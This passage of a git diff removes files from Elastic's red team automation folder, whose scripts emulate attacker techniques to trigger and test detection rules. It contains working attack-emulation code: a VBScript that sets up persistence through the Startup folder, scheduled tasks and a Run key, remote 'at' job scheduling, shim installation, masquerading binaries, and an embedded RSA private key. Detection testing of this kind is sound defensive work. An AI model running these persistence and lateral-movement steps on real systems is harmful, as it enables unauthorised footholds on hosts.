Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Application Compatibility Shims -# RTA: appcompat_shim.py -# ATT&CK: T1138 -# Description: Use sdbinst.exe to install a binary patch/application shim. - -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a4a8608e-d94f-4eb1-b500-738328307bbc", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "fd4a992d-6130-4802-9ff8-829b89ae801f", "rule_name": "Potential Application Shimming via Sdbinst"} - ], - techniques=["T1546"], -) - - -SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(SHIM_FILE) -def main(): - common.log("Application Compatibility Shims") - - common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE]) - time.sleep(2) - - common.log("Removing installed shim", log_type="-") - common.execute(["sdbinst.exe", "-u", SHIM_FILE]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/at_command.py b/rta/at_command.py deleted file mode 100644 index a2111918b..000000000 --- a/rta/at_command.py +++ /dev/null @@ -1,75 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: AT Command Lateral Movement -# RTA: at_command.py -# ATT&CK: T1053 -# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the -# status of that task, and deletes the task. - -import datetime -import re -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="961d7a1f-7bad-41d5-a3d9-8e8a2f59a824", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(target_host=None): - target_host = target_host or common.get_ip() - host_str = "\\\\%s" % target_host - - # Current time at \\localhost is 11/16/2017 11:25:50 AM - code, output = common.execute(["net", "time", host_str]) - match = re.search(r"Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)", output) - groups = match.groups() - m, d, y, hh, mm, ss, period = groups - now = datetime.datetime( - month=int(m), - day=int(d), - year=int(y), - hour=int(hh), - minute=int(mm), - second=int(ss), - ) - if period == "PM" and hh != "12": - now += datetime.timedelta(hours=12) - - # Add one hour - task_time = now + datetime.timedelta(hours=1) - - # Round down minutes - time_string = "%d:%d" % (task_time.hour, task_time.minute) - - # Enumerate all remote tasks - common.execute(["at.exe", host_str]) - - # Create a job 1 hour into the future - code, output = common.execute(["at", host_str, time_string, "cmd /c echo hello world"]) - - if code == 1 and "deprecated" in output: - common.log("Unable to continue RTA. Not supported in this version of Windows") - return common.UNSUPPORTED_RTA - - if code == 0: - job_id = re.search("ID = (\d+)", output).group(1) - - # Check status and delete - common.execute(["at.exe", host_str, job_id]) - common.execute(["at.exe", host_str, job_id, "/delete"]) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/at_job.py b/rta/at_job.py deleted file mode 100644 index d4b2b5d1e..000000000 --- a/rta/at_job.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="084c5d8f-2578-4fe0-bc6f-f6c44205804a", - platforms=["macos"], - endpoint=[ - { - "rule_name": "At Job Creation or Modification by an Unusual Process", - "rule_id": "779f18ce-1457-457c-80e1-3a5d146c2dc0", - } - ], - siem=[], - techniques=["T1053", "T1053.002"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file creation on /private/var/at/jobs/test.") - common.temporary_file_helper("testing", file_name="/private/var/at/jobs/test") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/atom_init_coffee.py b/rta/atom_init_coffee.py deleted file mode 100644 index 193844a45..000000000 --- a/rta/atom_init_coffee.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="72c2470b-c96e-4b44-88ec-1a67c4ec091c", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Potential Persistence via Atom Init Script Modification", - "rule_id": "b4449455-f986-4b5a-82ed-e36b129331f7", - } - ], - techniques=["T1037"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - atom_dir = Path.home().joinpath(".atom") - atom_dir.mkdir(parents=True, exist_ok=True) - atom_path = atom_dir.joinpath("init.coffee") - common.log(f"Executing file modification on {atom_path} to mimic malicious Atom init file.") - common.temporary_file_helper("testing", file_name=atom_path) - - # cleanup - common.remove_directory(str(atom_dir)) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/attempt_to_establish_vscode.py b/rta/attempt_to_establish_vscode.py deleted file mode 100644 index e5ab9bd46..000000000 --- a/rta/attempt_to_establish_vscode.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a078ecca-e8b8-4ae8-a76c-3238e74ca34d", - platforms=["linux"], - endpoint=[ - {"rule_id": "13fd98ce-f1c3-423f-9441-45c50eb462c0", "rule_name": "Attempt to etablish VScode Remote Tunnel"}, - ], - siem=[], - techniques=["T1102", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/code" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Executing Fake commands to test Attempt to etablish VScode Remote Tunnel") - common.execute([masquerade, "tunnel"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/auth_plugin.py b/rta/auth_plugin.py deleted file mode 100644 index 79e5d0db4..000000000 --- a/rta/auth_plugin.py +++ /dev/null @@ -1,27 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="96c3cc10-7f86-428c-b353-e9de52472a96", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Authorization Plugin Modification", "rule_id": "e6c98d38-633d-4b3e-9387-42112cd5ac10"}], - techniques=["T1547"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file modification on test.plist to mimic authorization plugin modification") - common.temporary_file_helper("testing", file_name="/Library/Security/SecurityAgentPlugins/test.plist") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/automator_workflows.py b/rta/automator_workflows.py deleted file mode 100644 index 917555dcc..000000000 --- a/rta/automator_workflows.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6294e8bd-a82e-4d60-9de7-cceb639e91d9", - platforms=["macos"], - endpoint=[ - {"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "e390d36d-c739-43ee-9e3d-5a76fa853bd5"} - ], - siem=[{"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "5d9f8cfc-0d03-443e-a167-2b0597ce0965"}], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/automator" - masquerade2 = "/tmp/com.apple.automator.runner" - common.create_macos_masquerade(masquerade) - common.copy_file("/usr/bin/curl", masquerade2) - - # Execute command - common.log("Launching fake commands to launch Automator workflows") - common.execute([masquerade], timeout=10, kill=True) - common.execute([masquerade2, "portquiz.net"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/background_process_from_tmp.py b/rta/background_process_from_tmp.py deleted file mode 100644 index 86061a350..000000000 --- a/rta/background_process_from_tmp.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="fa2bbba7-66f4-4fd6-9c81-599d58fe67e8", - platforms=["macos"], - endpoint=[ - {"rule_name": "Background Process Execution via Shell", "rule_id": "603ac59e-9cca-4c48-9750-e38399079043"} - ], - siem=[], - techniques=["T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/sh" - common.create_macos_masquerade(masquerade) - - common.log("Executing background processes via sh from tmp directory.") - command = 'bash -c "/* &"' - common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/bash_cmdline_history.py b/rta/bash_cmdline_history.py deleted file mode 100644 index b4fdac56b..000000000 --- a/rta/bash_cmdline_history.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="631a211d-bdaa-4b9d-a786-31d84d7bc070", - platforms=["linux"], - endpoint=[ - {"rule_id": "31da6564-b3d3-4fc8-9a96-75ad0b364363", "rule_name": "Tampering of Bash Command-Line History"}, - ], - siem=[], - techniques=["T1070", "T1070.003"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/history" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake builtin commands for tampering of bash command line history") - command = "-c" - common.execute([masquerade, command], timeout=10, kill=True, shell=True) # noqa: S604 - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/bifrost_attack.py b/rta/bifrost_attack.py deleted file mode 100644 index ab72abf1d..000000000 --- a/rta/bifrost_attack.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="057f2c1b-28cc-4286-92ce-75e789aa8e74", - platforms=["macos"], - endpoint=[ - {"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "fecebe4f-2d28-46e7-9bc1-71cdd8ecdd60"} - ], - siem=[{"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "16904215-2c95-4ac8-bf5c-12354e047192"}], - techniques=["T1558", "T1550"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bifrost" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake bifrost attack with kerberoast commands") - common.execute([masquerade, "-action", "-kerberoast"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/bin/BadTasks.csproj b/rta/bin/BadTasks.csproj deleted file mode 100644 index 4caf2ac13..000000000 --- a/rta/bin/BadTasks.csproj +++ /dev/null @@ -1,65 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/rta/bin/DoublePersist.exe b/rta/bin/DoublePersist.exe deleted file mode 100644 index ba33e7563..000000000 Binary files a/rta/bin/DoublePersist.exe and /dev/null differ diff --git a/rta/bin/ExecFromISOFile.ps1 b/rta/bin/ExecFromISOFile.ps1 deleted file mode 100644 index 3321dce98..000000000 --- a/rta/bin/ExecFromISOFile.ps1 +++ /dev/null @@ -1,16 +0,0 @@ -function ExecFromISO { - [CmdletBinding()] - param( - [Parameter()] - [string] $ISOFile, - [string] $procname, - [string] $cmdline - ) - $MountMeta = Mount-DiskImage -ImagePath $ISOFile -StorageType ISO -Access ReadOnly - $DriveLetter = ($MountMeta | Get-Volume).DriveLetter - if ($cmdline) {Start-Process -FilePath "$($DriveLetter):\$($procname)" -ArgumentList "$($cmdline)";} - else {Start-Process -FilePath "$($DriveLetter):\$($procname)" -WorkingDirectory "$($DriveLetter):\"} - Start-Sleep -s 2 - Stop-process -name $procname -Force -ErrorAction ignore - Dismount-DiskImage -ImagePath $ISOFile | Out-Null -} diff --git a/rta/bin/Installer.msi b/rta/bin/Installer.msi deleted file mode 100644 index bc6b4d0dd..000000000 Binary files a/rta/bin/Installer.msi and /dev/null differ diff --git a/rta/bin/Invoke-ImageLoad.ps1 b/rta/bin/Invoke-ImageLoad.ps1 deleted file mode 100644 index e11e1d195..000000000 --- a/rta/bin/Invoke-ImageLoad.ps1 +++ /dev/null @@ -1,27 +0,0 @@ -function Invoke-ImageLoad { - - [CmdletBinding()] - param( - [Parameter(Position=0,Mandatory=$True)] - [String] - $DllPath - ) - - $type=@" - using System; - using System.Runtime.InteropServices; - public class ImportIt - { - public const string DLLPath = @"$DLLPath"; - [DllImport(DLLPath, EntryPoint = "GetClassNameW", CharSet = CharSet.Unicode)] - public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type); - - public static void Main() - { - MessageBox(new IntPtr(0), "Hello RTA!", "Hello Dialog", 0); - } - } -"@ - Add-Type -TypeDefinition $type; - [ImportIt]::Main(); -} \ No newline at end of file diff --git a/rta/bin/LoadLib-Callback64.exe b/rta/bin/LoadLib-Callback64.exe deleted file mode 100644 index 7f74dc464..000000000 Binary files a/rta/bin/LoadLib-Callback64.exe and /dev/null differ diff --git a/rta/bin/PsRunner.exe b/rta/bin/PsRunner.exe deleted file mode 100644 index 03b2bcb54..000000000 Binary files a/rta/bin/PsRunner.exe and /dev/null differ diff --git a/rta/bin/PsRunner_LICENSE b/rta/bin/PsRunner_LICENSE deleted file mode 100644 index e1ac234e5..000000000 --- a/rta/bin/PsRunner_LICENSE +++ /dev/null @@ -1,14 +0,0 @@ -PowerSploit is provided under the 3-clause BSD license below. - -************************************************************* - -Copyright (c) 2012, Matthew Graeber -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/rta/bin/TrustProvider32.dll b/rta/bin/TrustProvider32.dll deleted file mode 100644 index 9302596dd..000000000 Binary files a/rta/bin/TrustProvider32.dll and /dev/null differ diff --git a/rta/bin/TrustProvider64.dll b/rta/bin/TrustProvider64.dll deleted file mode 100644 index cfdee715a..000000000 Binary files a/rta/bin/TrustProvider64.dll and /dev/null differ diff --git a/rta/bin/__init__.py b/rta/bin/__init__.py deleted file mode 100644 index 72ea1f6e2..000000000 --- a/rta/bin/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. diff --git a/rta/bin/beacon.hta b/rta/bin/beacon.hta deleted file mode 100644 index 659ed06dc..000000000 --- a/rta/bin/beacon.hta +++ /dev/null @@ -1,11 +0,0 @@ - - - - - diff --git a/rta/bin/cmd_from_iso.iso b/rta/bin/cmd_from_iso.iso deleted file mode 100644 index 0832cebac..000000000 Binary files a/rta/bin/cmd_from_iso.iso and /dev/null differ diff --git a/rta/bin/com.apple.ditto_and_spawn_arm b/rta/bin/com.apple.ditto_and_spawn_arm deleted file mode 100755 index 15cdfa944..000000000 Binary files a/rta/bin/com.apple.ditto_and_spawn_arm and /dev/null differ diff --git a/rta/bin/com.apple.ditto_and_spawn_intel b/rta/bin/com.apple.ditto_and_spawn_intel deleted file mode 100755 index a90ae30b3..000000000 Binary files a/rta/bin/com.apple.ditto_and_spawn_intel and /dev/null differ diff --git a/rta/bin/com.apple.sleep_arm b/rta/bin/com.apple.sleep_arm deleted file mode 100755 index 3c6afe03f..000000000 Binary files a/rta/bin/com.apple.sleep_arm and /dev/null differ diff --git a/rta/bin/com.apple.sleep_intel b/rta/bin/com.apple.sleep_intel deleted file mode 100755 index a21dddc9a..000000000 Binary files a/rta/bin/com.apple.sleep_intel and /dev/null differ diff --git a/rta/bin/create_file.elf b/rta/bin/create_file.elf deleted file mode 100644 index ab2b1646a..000000000 Binary files a/rta/bin/create_file.elf and /dev/null differ diff --git a/rta/bin/cscript.xsl b/rta/bin/cscript.xsl deleted file mode 100644 index b7d7a44c2..000000000 --- a/rta/bin/cscript.xsl +++ /dev/null @@ -1,21 +0,0 @@ - - - - - -function xml(nodelist) -{ - var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0"); - xhr.open("GET","http://127.0.0.1:8000",false); - xhr.send(); - - return nodelist.nextNode().xml; -} - - - - - diff --git a/rta/bin/customers.xml b/rta/bin/customers.xml deleted file mode 100644 index 4fc41b93d..000000000 --- a/rta/bin/customers.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - John Smith -
123 Elm St.
- (123) 456-7890 -
- - Mary Jones -
456 Oak Ave.
- (156) 789-0123 -
-
diff --git a/rta/bin/faultrep.dll b/rta/bin/faultrep.dll deleted file mode 100644 index 211e59356..000000000 Binary files a/rta/bin/faultrep.dll and /dev/null differ diff --git a/rta/bin/highentropy.txt b/rta/bin/highentropy.txt deleted file mode 100644 index 276396276..000000000 Binary files a/rta/bin/highentropy.txt and /dev/null differ diff --git a/rta/bin/inject_arm.dylib b/rta/bin/inject_arm.dylib deleted file mode 100755 index 1af1ae036..000000000 Binary files a/rta/bin/inject_arm.dylib and /dev/null differ diff --git a/rta/bin/inject_intel.dylib b/rta/bin/inject_intel.dylib deleted file mode 100755 index 444d7c897..000000000 Binary files a/rta/bin/inject_intel.dylib and /dev/null differ diff --git a/rta/bin/linux.ditto_and_spawn b/rta/bin/linux.ditto_and_spawn deleted file mode 100755 index ad3bfb9c3..000000000 Binary files a/rta/bin/linux.ditto_and_spawn and /dev/null differ diff --git a/rta/bin/lnk_from_iso_rundll.iso b/rta/bin/lnk_from_iso_rundll.iso deleted file mode 100644 index 4d2802a16..000000000 Binary files a/rta/bin/lnk_from_iso_rundll.iso and /dev/null differ diff --git a/rta/bin/myapp.exe b/rta/bin/myapp.exe deleted file mode 100644 index e72b904fe..000000000 Binary files a/rta/bin/myapp.exe and /dev/null differ diff --git a/rta/bin/myapp_x64.exe b/rta/bin/myapp_x64.exe deleted file mode 100644 index 941ec8e74..000000000 Binary files a/rta/bin/myapp_x64.exe and /dev/null differ diff --git a/rta/bin/mydll.dll b/rta/bin/mydll.dll deleted file mode 100644 index b29ebb983..000000000 Binary files a/rta/bin/mydll.dll and /dev/null differ diff --git a/rta/bin/mydll_x64.dll b/rta/bin/mydll_x64.dll deleted file mode 100644 index 14cebf890..000000000 Binary files a/rta/bin/mydll_x64.dll and /dev/null differ diff --git a/rta/bin/mydotnet.exe b/rta/bin/mydotnet.exe deleted file mode 100644 index 54692dda1..000000000 Binary files a/rta/bin/mydotnet.exe and /dev/null differ diff --git a/rta/bin/mydotnet.tlb b/rta/bin/mydotnet.tlb deleted file mode 100644 index 5044347f8..000000000 Binary files a/rta/bin/mydotnet.tlb and /dev/null differ diff --git a/rta/bin/myservice32.dll b/rta/bin/myservice32.dll deleted file mode 100755 index d42f6d6a0..000000000 Binary files a/rta/bin/myservice32.dll and /dev/null differ diff --git a/rta/bin/myservice64.dll b/rta/bin/myservice64.dll deleted file mode 100644 index 326417d4a..000000000 Binary files a/rta/bin/myservice64.dll and /dev/null differ diff --git a/rta/bin/netcon_exec_chain.elf b/rta/bin/netcon_exec_chain.elf deleted file mode 100755 index 4f7aee1a9..000000000 Binary files a/rta/bin/netcon_exec_chain.elf and /dev/null differ diff --git a/rta/bin/notepad.sct b/rta/bin/notepad.sct deleted file mode 100644 index 649414204..000000000 --- a/rta/bin/notepad.sct +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - diff --git a/rta/bin/notepad_launch.inf b/rta/bin/notepad_launch.inf deleted file mode 100644 index bc78155e6..000000000 --- a/rta/bin/notepad_launch.inf +++ /dev/null @@ -1,9 +0,0 @@ -[version] -Signature=$chicago$ -AdvancedINF=2.5 - -[DefaultInstall_SingleUser] -UnRegisterOCXs=UnRegisterOCXSection - -[UnRegisterOCXSection] -%11%\scrobj.dll,NI,C:\Users\Administrator\Desktop\rta\bin\notepad.sct \ No newline at end of file diff --git a/rta/bin/persistent_script.vbs b/rta/bin/persistent_script.vbs deleted file mode 100644 index f7e998842..000000000 --- a/rta/bin/persistent_script.vbs +++ /dev/null @@ -1,123 +0,0 @@ -dim shellobj -dim fs -dim logFile - -set fs = CreateObject("Scripting.FileSystemObject") -set shellObj = WScript.CreateObject("wscript.shell") - -name = "rta-vbs-persistence" -logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log" - -set logFile = fs.OpenTextFile(logPath, 8, True) - -startupDir = shellObj.SpecialFolders("Startup") -shortcutLink = startupDir & "\" & name & "-startup.lnk" - -startupTarget = startupDir & "\" & name & "-startup.vbs" -shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs" -taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs" -runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs" - -runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name - - -function log(logType, message) - line = "[" & logType & "] " & wscript.ScriptName & " - " & message - ' WScript.Echo line - logFile.WriteLine line -end function - -function logLine - logFile.WriteLine "" -end function - - -'Add self logging functions -function copyScript(target) - log "+", "Copying " & wscript.ScriptFullName & " to " & target - fs.CopyFile wscript.ScriptFullName, target, true -end function - -function deleteFile(path) - log "-", "Deleting " & path - fs.DeleteFile(path) -end function - -function run(command) - log ">", command - errorCode = shellObj.Run(command, 0, True) - if errorCode <> 0 then - log ">", "exit code = " & errorCode - end if -end function - -function deleteScript() - deleteFile wscript.ScriptFullName -end function - - -log "=", "Started" - -'Establish persistence or remove persistence after the first execution -if wscript.ScriptFullName = shortcutTarget then - 'Check if this is running and came from a shortcut - log "+", "Running from a shortcut target" - deleteScript - deleteFile shortcutLink - -elseif wscript.ScriptFullName = startupTarget then - 'Delete the file - log "+", "Running from the startup folder directly" - deleteScript - -elseif wscript.ScriptFullName = taskTarget then - 'Remove the task and the file - log "+", "Running as a scheduled task" - deleteScript - run "schtasks.exe /delete /f /tn " & name - -elseif wscript.ScriptFullName = runTarget then - 'Remove the registry key and the file - log "+", "Running as a run item" - deleteScript - log "-", "Removing registry key " & runKey - shellObj.RegDelete runKey - -else - 'Copy the file to a few locations - dim shortcut - log "+", "Establish Persistence" & crlf - - - 'Copy to the StartUp directory - log "+", "Startup File" - copyScript startupTarget - logLine - - 'Create a shortcut in the StartUp directory - log "+", "Startup Shortcut" - copyScript shortcutTarget - set shortcut = shellObj.CreateShortcut(shortcutLink) - shortcut.TargetPath = "wscript.exe" - shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34) - shortcut.save() - logLine - - 'Create a scheduled task - log "-", "Scheduled Task" & crlf - copyScript taskTarget - run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34) - logLine - - 'Create the run key - log "+", "Run Key via Registry" - copyScript runTarget - shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ" - logLine - -end if - -log "-", "Exiting" -logFile.WriteLine "" -logFile.WriteLine "" -logFile.Close() \ No newline at end of file diff --git a/rta/bin/ping_dns_from_iso.iso b/rta/bin/ping_dns_from_iso.iso deleted file mode 100644 index 83e0ed5fc..000000000 Binary files a/rta/bin/ping_dns_from_iso.iso and /dev/null differ diff --git a/rta/bin/pkexec_cve20214034/cve-2021-4034 b/rta/bin/pkexec_cve20214034/cve-2021-4034 deleted file mode 100755 index 0390a795c..000000000 Binary files a/rta/bin/pkexec_cve20214034/cve-2021-4034 and /dev/null differ diff --git a/rta/bin/privkey.pem b/rta/bin/privkey.pem deleted file mode 100644 index 4c115a44f..000000000 --- a/rta/bin/privkey.pem +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN RSA PRIVATE KEY----- -MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk -VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi -LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl -tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq -1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM -+i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8 -QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2 -cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ -piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr -xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5 -kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr -enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC -ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv -eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX -5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV -2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3 -jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT -7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ -8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL -oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ -7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC -dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu -xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh -upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD -NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU ------END RSA PRIVATE KEY----- diff --git a/rta/bin/rcedit-x64.exe b/rta/bin/rcedit-x64.exe deleted file mode 100644 index 36764c62d..000000000 Binary files a/rta/bin/rcedit-x64.exe and /dev/null differ diff --git a/rta/bin/regsvr32.exe b/rta/bin/regsvr32.exe deleted file mode 100644 index bcdfe6bc8..000000000 Binary files a/rta/bin/regsvr32.exe and /dev/null differ diff --git 